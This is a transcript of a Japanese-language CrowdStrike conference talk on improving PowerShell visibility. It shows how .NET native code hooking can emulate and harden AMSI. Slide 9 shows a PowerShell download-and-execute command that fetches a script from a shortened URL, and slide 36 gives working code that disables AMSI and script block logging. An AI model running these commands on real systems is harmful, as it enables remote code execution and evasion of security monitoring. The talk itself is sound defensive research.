SlideShare a Scribd company logo
1 of 48
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
インサイドSHELL:
.NETハッキング技術を応用した
POWERSHELL可視性の向上
丹田 賢
ENGINEER, CROWDSTRIKE
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
講師について
 Engineer at CrowdStrike
 Twitter @standa_t
 低レイヤー・ソフトウェア技術者
 リバースエンジニア&マルウェア解析者
 セキュリティソフトウェア開発者
 HyperPlatform & SimpleSVM (バイパーバイザー)の作者
 カンファレンス講演:REcon, BlueHat, Nullcon
 スライド&サンプルコード:: github.com/tandasat/DotNetHooking
2
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.3
個人的な動機
 ダウンローダー -> ペイロード
 EXE -> EXE
upatre
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.4
個人的な動機
 ダウンローダー -> ペイロード
 スクリプト -> EXE
upatre js downloader
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.5
個人的な動機
 Offensive, post exploitation ツールの存在
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.6
講演の目的
どうやってPowerShellによる攻撃から守るか
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
1 PowerShell攻撃への対応の難しさとAMSI
2 .NET ネイティブコードフックの紹介
3 PowerShellに対する可視性の向上
4 まとめと提言
7
POWERSHELL攻撃への対応の難しさとAMSI
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.8
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
悪意あるPOWERSHELL対アンチウイルス(AV)
 PowerShellは攻撃のなかで頻繁に利用されている
 AVソフトウェアでの検知が難しい
 プロセス(powershell.exe)はデジタル署名された正当なファイル
 スクリプトファイルは簡単に変更できる (例、スペース, コメント, 変数名)
 スクリプトファイルは使用されないかもしれない
 PowerShellエンジンは任意のプロセスに読み込まれ、そこで動作しうる (例, PSInject)
 実際にはさらに難しい:
9
>powershell -file “C:UsersstandaAppDataLocalTempns13094.ps1"
>powershell -command “iex (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI’)”
>powershell -enc SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0A…
ANTIMALWARE SCAN INTERFACE (AMSI)
 Windows 10 からの新機能
 AMSIプロバイダーとしてソフトウェアを登録(正式にはMicorosftとのNDAが必要)
 スクリプトエンジンはスクリプトやコマンドを実行前にAMSIプロバイダーに転送
 AMSIプロバイダーはそれらをスキャンし実行をブロックできる
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.10
System.Management.
Automation.dll
Jscript.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
AsmiScanString
IAntimalwareProvider::Scan
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
銀の弾丸
 スクリプトファイルの内容がわかる
 Invoke-Expressionされた文字列の内容がわかる
 デコードされた後の-EncodedCommand文字列がわかる
 PowerShellエンジンが使用される場合、常に有効
11
…とも限らない(1/2)
 AMSIは PowerShell v5 + Windows 10のみで有効
 PowerShell v2 による攻撃からは守れない(ダウングレードアタック)
 古いWindowsバージョンは守れない
 一部の難読化されたPowerShellは難読化されたまま
 単純な正規表現ではバイパスされうる
…とも限らない(2/2)
 AMSIはPowerShellから無効化されうる(管理者権限不要)
 AMSIプロバイダーは、最初の攻撃を検出しない限り完全にバイパスされる
 AMSIプロバイダーが正しいデータを受け取れない問題(現時点で未修整)
System.Management.
Automation.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
AsmiScanString IAntimalwareProvider::Scan
COM Hijacking
Reflection-based
attacks
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
おさらい
 PowerShellベースの攻撃は一般的、しかし検出が困難
 AMSIは非常に有用、しかし制限がある
 なにかできないか?
14
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.15
.NET ネイティブコードフックの紹介
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.16
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
.NET ネイティブコードフック
 生成されたネイティブコードを書き換えることによって、マネージドプログラム
の動作を実行時に変更する技術
 プログラムの動作の監視や変更を可能とする
 Topher Timzen と Ryan Allen により初めて紹介された
 他の類似技術と比較しての利点はAmanda Rousseau により詳細に評価された
17
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
マネージドプログラム実行の基礎 (1/2)
 C#のようなCommon Language
Infrastructure言語で書かれたプログラムは
Microsoft Intermediate Language (MSIL)に
コンパイルされる
 本講演ではそのようなプログラムを
“マネージドプログラム”という
 MSILは2種類の方法によりネイティブコー
ドにコンパイルされる:
 実行時にJITコンパイラによりメモリ上に
 実行以前にNGENによりファイルとして
 いずれの場合もネイティブコードが実行さ
れる
18
C# Source File(s)
C# Compiler
MSIL
(Executable File)
CLR
(JIT Compiler)
Ngen
Native Code
(Memory)
Native Code
(Executable File)
Compile
JIT Compile AOT Compile
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
マネージドプログラム実行の基礎 (2/2)
 マネージドプログラムはAPIを提供する.NET Framework上で実行される
19
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLLDLL DLL DLL
Managed Program Unmanaged Program
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
マネージドプログラム実行の基礎 (2/2)
 マネージドプログラムはAPIを提供する.NET Framework上で実行される
20
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLLDLL DLL DLL
Managed Program Unmanaged Program
Hook
Hook Hook
Hook
Hook
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
フックの概略
 アンマネージドコード(C++など)のフックの典型的な流れ:
1. フックを行うコードを対象プロセス上で実行する
2. 対象となる関数のアドレスを特定する
3. アドレス上のネイティブコードを上書きする
 .NETネイティブコードフックも同様、ただし.NETアセンブリとメソッドを対象と
する
21
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
どうやってアドレスを特定するか
 リフレクションにより、マネージドプログラムは.NETアセンブリやメソッド、
フィールドなどの情報を実行時に取得できる
 ソースコードへの実行時アクセスと考えてよい
 RuntimeMethodHandle.GetFunctionPointer メソッドは、生成されたネイティ
ブコードのアドレスを返す(すでにコンパイルされてる場合)
 エクスポート関数以外にも使用できるGetProcAddress APIと考えてよい
 対象関数がまだ実行されていない場合、それはまだコンパイルされておらず、ネ
イティブコードは存在しないかもしれない
 RuntimeHelpers.PrepareMethod メソッドでJITコンパイルできる
22
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
コード例(C#)
// Get an AmsiUtils class from an assembly
targetClass = targetAssembly.GetType("System.Management.Automation.AmsiUtils");
// Get a ScanContent method of the class
targetMethod = targetClass.GetMethod("ScanContent", ...);
// Perform JIT compilation if not done yet
RuntimeHelpers.PrepareMethod(targetMethod.MethodHandle);
// Get an address of compiled native code
targetAddr = targetMethod.MethodHandle.GetFunctionPointer();
// Overwrite contents of the address to install hook
// ...
23
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
どうやってフックするコードを実行するか
 フックをインストールするためには、対象プロセス内でマネージドコードを実行
する必要がある
 アンマネージドコードからHosting APIを使用する
 本講演ではそのようなコードをBootstrapコードという
 Hosting APIにより、アンマネージドコードはマネージドコードと対話し.NETアセ
ンブリを読み込ませることができる
 Bootstrapコードは様々な方法でインジェクト可能 (例, AppInit_Dlls, ドライバー)
24
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
アンマネージドコードの使用
1. 対象プロセスにbootstrapコードをイン
ジェクト
2. フック用.NETアセンブリをBootstrap
コードからインジェクト
3. フック用.NETアセンブリは対象メソッ
ドを発見、JITコンパイルを行い、生成
されたネイティブコードを上書き
25
Managed
Unmanaged
Kernel
User
Bootstrap
Hooking
Assembly
Target
Assembly
Driver (*)
1) Inject bootstrap code
2) Load managed assembly
3) Force to JIT compile,
modify compiled native code
Target Process Address Space
*) Optionally, use a driver
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
USING APPDOMAINMANAGERの使用
1. 独自のAppDomainManagerを実装する
フック用.NETアセンブリを事前に登録
2. 最初にAppDomainが作られるとき、
CLRが登録されたAppDomainManager
(フック用.NETアセンブリ)を読み込
み実行
3. フック用.NETアセンブリは対象メソッ
ドを発見、JITコンパイルを行い、生成
されたネイティブコードを上書き
 利点: 最小のコード
 欠点: 環境変数等による事前設定が必要
26
Managed
Unmanaged
Kernel
User
Hooking
Assembly
Target
Assembly
3) Force to JIT compile,
modify compiled native code
Target Process Address Space
.NET (CLR)
2) Load managed assembly
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.27
POWERSHELLに対する可視性の向上
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.28
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
POWERSHELLはマネージドプログラム
 PowerShell言語はC#で書かれたSystem.Management.Automation.dllに実装されて
いる
 本講演ではこのDLLをSMA.dllという
 Powershell.exeはSMA.dllのクライアントに過ぎない
 SAM.dllの動作をフックして
監視できる
29
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLL
Managed Program
Hook
Hook
Hook
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
AMSIの拡張など
 AMSIと同様の機能を Windows 8.1以前に実装
 AMSIと同様の機能を PowerShell以前に実装
 AMSIバイパスを無効化
 文字列の難読化を解除
 コマンドレットをフック
30
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
AMSIエミュレーション:古いWINDOWS + PS
V5
 SMA.dllのメソッドをフックすることでAMSIをエミュレーション可能
 SMA.dll (v5)ではAMSIプロバイダーの呼び出しは AmsiUtils.ScanContent メ
ソッドで実装されている
 このメソッドを独自のスキャンロジックで上書きする
internal static AmsiNativeMethods.AMSI_RESULT ScanContent (string content,
string sourceMetadata) {
if (amsiInitFailed) {
return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
//...
hr = AmsiNativeMethods.AmsiScanString(...);
31
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
AMSIエミュレーション:古いPOWERSHELL
 困難:
 AmsiUtilsクラスは存在しない、オープンソース実装も存在しない
 リバースエンジニアリングを通して適切なメソッドを見つける必要がある
 Good news ;-)
 無料の.NETデコンパイラが存在、それらは非常に読みやすいコードを生成する
 dotPeek, ILSpy, JustDecompile
 デバッガーはソースがあるかのように動作する
 WinDbg + SOS and SOSEX
 多くの実装はオープンソース版のそれに近い
32
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
AMSIバイパスの無効化
 既知のAMSIバイパスは、ScanContent メソッドからのAmsiScanString 関数呼び
出しか、 適切なAMSIプロバイダーDLLの利用を妨害する
 amsiContext or amsiInitFailedの上書き
 COMハイジャック
 未修整の問題は、AMSIプロバイダーが正しいデータを受け取ることを妨害する
 どちらの影響も受けない(ScanContentもAMSIプロバイダーも使用しないため)
33
System.Management.
Automation.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
Hooked
Code
AsmiScanString IAntimalwareProvider::Scan
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
さらなる可視性: コマンドレットの実行
 難読化が解除された状態のパラメーターにアクセス可能
 コマンドレットが実行されるときProcessRecord メソッドが呼び出される
 例, InvokeExpressionCommand.ProcessRecord = Invoke-Expression
 “this” ポインターが全パラメーターを保持
 PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ’)
 this->_command = “Write-Host this is a bad command!”
34
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
DEMO: AMSIエミュレーション等
35
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
困難と制限
 リバースエンジニアリングと実装依存のコードが必要
 低レベルのメソッドをフックした場合、出力が多すぎる可能性
 攻撃者は同様のテクニックによりフックをバイパス可能
36
#
# Overwrites PerformSecurityChecks as { return }
# disabling AMSI and the most of suspicious script block logging.
#
> $code = [byte[]](0xc3);
> $addr =
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetMethod('PerformSecurityChecks',
'NonPublic,Instance', $null, [Type]::EmptyTypes, $null).MethodHandle.GetFunctionPointer();
> $definition = '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr Address, UInt32 Size,
UInt32 NewProtect, out UInt32 OldProtect);‘;
> $kernel32 = Add-Type -MemberDefinition $definition -Name ‘Kernel32’ -Namespace ‘Win32’ -PassThru;
> $oldProtect = [UInt32]0;
> $kernel32::VirtualProtect($addr, $code.Length, 0x40, [ref]$oldProtect);
> [Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length);
まとめと提言
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.37
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
まとめ
 AMSIはそのままでもスクリプトの実行に対する可視性を高めるのに有用、しかし
制限もある
 .NETネイティブコードフックによりマネージドプログラムの動作を監視・変更で
きる
 AMSIと同様の機能を古いバージョンのWindowsやPowerShell上で実装できる
 必要に応じて、さらに拡張した機能を実装できる
38
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.39
ITセキュリティプロフェッショナルへ向け
 Windows 10 + PowerShell v5を使用し、セキュリティ機能を理解する
 AMSIは可視性の向上に非常に寄与する
 スクリプトブロック・ロギングは インシデント後の状況理解に有用
 JEAにより管理者が実行可能な操作を制限できる
 Constrained Language Mode と AppLocker または Device Guardを導入する
 PowerShell+リフレクションベースの攻撃(スクリプトブロック・ロギングおよびAMSI
バイパス)等を防ぐ
 PowerShell v2 を削除する
 ダウングレードアタックを防ぐ
 システム最新に保つ
 AMSIバイパスの修正など
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.40
研究者/セキュリティソフトウェアベンダー向け
 AMSIの機能を理解する(AMSIは進歩している)
 .NET ネイティブコードフックが各々のゴールのために利用可能か評価する
 マネージドプログラムの監視に有用
 主要なコンセプトは単純かつクリーン
 マルウェア解析にも利用可能 (例, 動的解析、アンパック)
 サンプルコードを見てみる: github.com/tandasat/DotNetHooking
 .NET Core (例, PowerShell v6)にも適用可能
 PowerShell からのGetFunctionPointer の利用に注意する
 攻撃者によって使用される可能性がある
 Add-Type & VirtualProtect は必須ではない (JITコンパイルされたコードはRWX)
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
謝辞
 Alex Ionescu (@aionescu)
 Aaron LeMasters (@lilhoser)
 モチベーションを与えてくれた研究者たち:
 Matt Graeber (@mattifestation)
 Daniel Bohannon (@danielbohannon)
41
THANK YOU!
Satoshi Tanda
@standa_t
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.42
QUESTIONS
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.43
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
RESOURCES: RELEVANT RESEARCH
 AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 Nikhil Mittal
 https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
 Hijacking Arbitrary .NET Application Control Flow
 Topher Timzen and Ryan Allen
 https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET-
Application-Control-FlowWP.pdf
 .Net Hijacking to Defend PowerShell
 Amanda Rousseau
 https://www.slideshare.net/AmandaRousseau1/net-hijacking-to-defend-powershellbsidessf2017
 https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf
 AMSI Bypass via PowerShell
 Matt Graeber
 https://twitter.com/mattifestation/status/735261120487772160
 https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1
 AMSI Bypass via Hijacking
 Matt Nelson
 https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/
44
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.45
RESOURCES: CLR & .NET INTERNALS
 CoreCLR -- the open source version of CLR and .NET Framework
 https://github.com/dotnet/coreclr/tree/master/Documentation/botr
 https://github.com/dotnet/docs
 PowerShell Core -- the open source version of PowerShell
 https://github.com/PowerShell/PowerShell
 Hosting API and Injection
 https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/
 https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0 (CLR 4)
 https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-4da36165 (CLR 2)
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.46
RESOURCES: POWERSHELL DEBUGGING
 Debugging Managed Code Using the Windows Debugger
 https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-
code
 WinDbg / SOS Cheat Sheet
 http://geekswithblogs.net/.netonmymind/archive/2006/03/14/72262.aspx
 WinDbg cheat sheet
 https://theartofdev.com/windbg-cheat-sheet/
 SOSEX
 http://www.stevestechspot.com/
 MEX Debugging Extension for WinDbg
 https://blogs.msdn.microsoft.com/luisdem/2016/07/19/mex-debugging-extension-for-windbg-2/
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.47
RESOURCES: EXAMPLE DEBUGGING
SESSION (1/2)#
# STEP 1: Run powershell.exe normally and attach with a WinDbg. Then break in
# to a debugger, and load SOS and SOSEX extensions.
#
0:003> .loadby sos mscorwks
0:003> .load C:windbg_initsosex_64sosex.dll
#
# STEP 2: Set a breakpoint onto the InvokeExpressionCommand.ProcessRecord method
#
0:003> !mbm Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord
Breakpoint set at Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord() in AppDomain 0000018a8fbe1670.
0:003> g
#
# STEP 3: Execute the Invoke-Expression cmdlet on PowerShell. The breakpoint
# should hit.
#
PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ')
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.48
RESOURCES: EXAMPLE DEBUGGING
SESSION (2/2)#
# STEP 4: Dump contents of the "this" pointer and find the address of the
# _command field.
#
0:006> !do rcx
...
Fields:
MT Field Offset Type VT Attr Value Name
...
00007fff58e27ed0 4000252 70 System.String 0 instance 0000018a91e5fef0 _command
#
# STEP 5: Dump contents of the _command field.
#
0:006> !do 0000018a91e5fef0
...
String: Write-Host this is a bad command!

More Related Content

What's hot

世界一わかりやすいClean Architecture
世界一わかりやすいClean Architecture世界一わかりやすいClean Architecture
世界一わかりやすいClean ArchitectureAtsushi Nakamura
 
64ビット対応Dllインジェクション
64ビット対応Dllインジェクション64ビット対応Dllインジェクション
64ビット対応DllインジェクションShinichi Hirauchi
 
Dalvik仮想マシンのアーキテクチャ 改訂版
Dalvik仮想マシンのアーキテクチャ 改訂版Dalvik仮想マシンのアーキテクチャ 改訂版
Dalvik仮想マシンのアーキテクチャ 改訂版Takuya Matsunaga
 
DeNAの最新のマスタデータ管理システム Oyakata の全容
DeNAの最新のマスタデータ管理システム Oyakata の全容DeNAの最新のマスタデータ管理システム Oyakata の全容
DeNAの最新のマスタデータ管理システム Oyakata の全容sairoutine
 
Introduction to GitHub Actions
Introduction to GitHub ActionsIntroduction to GitHub Actions
Introduction to GitHub ActionsKnoldus Inc.
 
ネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分けネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分けモノビット エンジン
 
負荷試験ツールlocustを使おう
負荷試験ツールlocustを使おう負荷試験ツールlocustを使おう
負荷試験ツールlocustを使おうiRidge, Inc.
 
コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)
コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)
コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)NTT DATA Technology & Innovation
 
Node.js Native ESM への道 〜最終章: Babel / TypeScript Modules との闘い〜
Node.js Native ESM への道  〜最終章: Babel / TypeScript Modules との闘い〜Node.js Native ESM への道  〜最終章: Babel / TypeScript Modules との闘い〜
Node.js Native ESM への道 〜最終章: Babel / TypeScript Modules との闘い〜Teppei Sato
 
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptxネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptxShota Shinogi
 
今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみたKohei Tokunaga
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
 
Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門Etsuji Nakai
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021Hiroshi Tokumaru
 
ドメイン駆動設計 実践ガイド
ドメイン駆動設計 実践ガイドドメイン駆動設計 実践ガイド
ドメイン駆動設計 実践ガイド増田 亨
 
コンテナ未経験新人が学ぶコンテナ技術入門
コンテナ未経験新人が学ぶコンテナ技術入門コンテナ未経験新人が学ぶコンテナ技術入門
コンテナ未経験新人が学ぶコンテナ技術入門Kohei Tokunaga
 
Developing High-Impact Malware with Minimal Effort.pptx
Developing High-Impact Malware with Minimal Effort.pptxDeveloping High-Impact Malware with Minimal Effort.pptx
Developing High-Impact Malware with Minimal Effort.pptxElvin Gentiles
 
ctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリングctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリングjunk_coken
 

What's hot (20)

世界一わかりやすいClean Architecture
世界一わかりやすいClean Architecture世界一わかりやすいClean Architecture
世界一わかりやすいClean Architecture
 
64ビット対応Dllインジェクション
64ビット対応Dllインジェクション64ビット対応Dllインジェクション
64ビット対応Dllインジェクション
 
Dalvik仮想マシンのアーキテクチャ 改訂版
Dalvik仮想マシンのアーキテクチャ 改訂版Dalvik仮想マシンのアーキテクチャ 改訂版
Dalvik仮想マシンのアーキテクチャ 改訂版
 
DeNAの最新のマスタデータ管理システム Oyakata の全容
DeNAの最新のマスタデータ管理システム Oyakata の全容DeNAの最新のマスタデータ管理システム Oyakata の全容
DeNAの最新のマスタデータ管理システム Oyakata の全容
 
Introduction to GitHub Actions
Introduction to GitHub ActionsIntroduction to GitHub Actions
Introduction to GitHub Actions
 
ネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分けネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分け
 
負荷試験ツールlocustを使おう
負荷試験ツールlocustを使おう負荷試験ツールlocustを使おう
負荷試験ツールlocustを使おう
 
コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)
コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)
コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)
 
Node.js Native ESM への道 〜最終章: Babel / TypeScript Modules との闘い〜
Node.js Native ESM への道  〜最終章: Babel / TypeScript Modules との闘い〜Node.js Native ESM への道  〜最終章: Babel / TypeScript Modules との闘い〜
Node.js Native ESM への道 〜最終章: Babel / TypeScript Modules との闘い〜
 
Docker超入門
Docker超入門Docker超入門
Docker超入門
 
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptxネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
 
今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
 
Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門
 
Glibc malloc internal
Glibc malloc internalGlibc malloc internal
Glibc malloc internal
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
ドメイン駆動設計 実践ガイド
ドメイン駆動設計 実践ガイドドメイン駆動設計 実践ガイド
ドメイン駆動設計 実践ガイド
 
コンテナ未経験新人が学ぶコンテナ技術入門
コンテナ未経験新人が学ぶコンテナ技術入門コンテナ未経験新人が学ぶコンテナ技術入門
コンテナ未経験新人が学ぶコンテナ技術入門
 
Developing High-Impact Malware with Minimal Effort.pptx
Developing High-Impact Malware with Minimal Effort.pptxDeveloping High-Impact Malware with Minimal Effort.pptx
Developing High-Impact Malware with Minimal Effort.pptx
 
ctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリングctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリング
 

Similar to インサイドShell:.NETハッキング技術を応用したPowerShell可視性の向上 by 丹田 賢

サンプルで学ぶCassandraアプリケーションの作り方
サンプルで学ぶCassandraアプリケーションの作り方サンプルで学ぶCassandraアプリケーションの作り方
サンプルで学ぶCassandraアプリケーションの作り方Yuki Morishita
 
イノベート・ハブ九州 Bluemix勉強会(第2回)
イノベート・ハブ九州 Bluemix勉強会(第2回)イノベート・ハブ九州 Bluemix勉強会(第2回)
イノベート・ハブ九州 Bluemix勉強会(第2回)Atsumori Sasaki
 
How to Make Own Framework built on OWIN
How to Make Own Framework built on OWINHow to Make Own Framework built on OWIN
How to Make Own Framework built on OWINYoshifumi Kawai
 
次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)Yosuke HASEGAWA
 
Microsoft open tech night 2020 feb18
Microsoft open tech night 2020 feb18Microsoft open tech night 2020 feb18
Microsoft open tech night 2020 feb18Masatomo Ito
 
本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NET
本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NET本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NET
本格化するクラウド ネイティブに向けて進化する開発プラットフォームと .NETAkira Inoue
 
C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)
C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)
C#版人狼知能エージェントの作り方~Visual Studio編~(AIWolf.NET 1.0.6版)takots
 
Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...Shotaro Suzuki
 
Android Studioの魅力
Android Studioの魅力Android Studioの魅力
Android Studioの魅力Keiji Ariyama
 
Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...Application development with c#, .net 6, blazor web assembly, asp.net web api...
Application development with c#, .net 6, blazor web assembly, asp.net web api...Shotaro Suzuki
 
RoR周辺知識15項目
RoR周辺知識15項目RoR周辺知識15項目
RoR周辺知識15項目saiwaki
 
Introduction to New CloudWatch Agent
Introduction to New CloudWatch AgentIntroduction to New CloudWatch Agent
Introduction to New CloudWatch AgentNoritaka Sekiyama
 
IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...
IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...
IBM cloud 冬の勉強会 google の視点も織り交ぜ理解するkubernetes , istio , grafeas とibm cloud pr...Tsuyoshi Hirayama
 
Aws tools for power shellをつかいこなそう
Aws tools for power shellをつかいこなそうAws tools for power shellをつかいこなそう
Aws tools for power shellをつかいこなそうGenta Watanabe
 
cndjp: 「Microclimate」by capsmalt
cndjp: 「Microclimate」by capsmaltcndjp: 「Microclimate」by capsmalt
cndjp: 「Microclimate」by capsmaltcapsmalt
 
機械学習 (AI/ML) 勉強会 #1 基本編
機械学習 (AI/ML) 勉強会 #1 基本編機械学習 (AI/ML) 勉強会 #1 基本編
機械学習 (AI/ML) 勉強会 #1 基本編Fujio Kojima
 
[2001/01/23] VSLive! / Visual C++.NET 新機能概要
[2001/01/23] VSLive! / Visual C++.NET 新機能概要[2001/01/23] VSLive! / Visual C++.NET 新機能概要
[2001/01/23] VSLive! / Visual C++.NET 新機能概要Tatsuhiko Tanaka
 

Similar to インサイドShell:.NETハッキング技術を応用したPowerShell可視性の向上 by 丹田 賢 (20)

サンプルで学ぶCassandraアプリケーションの作り方
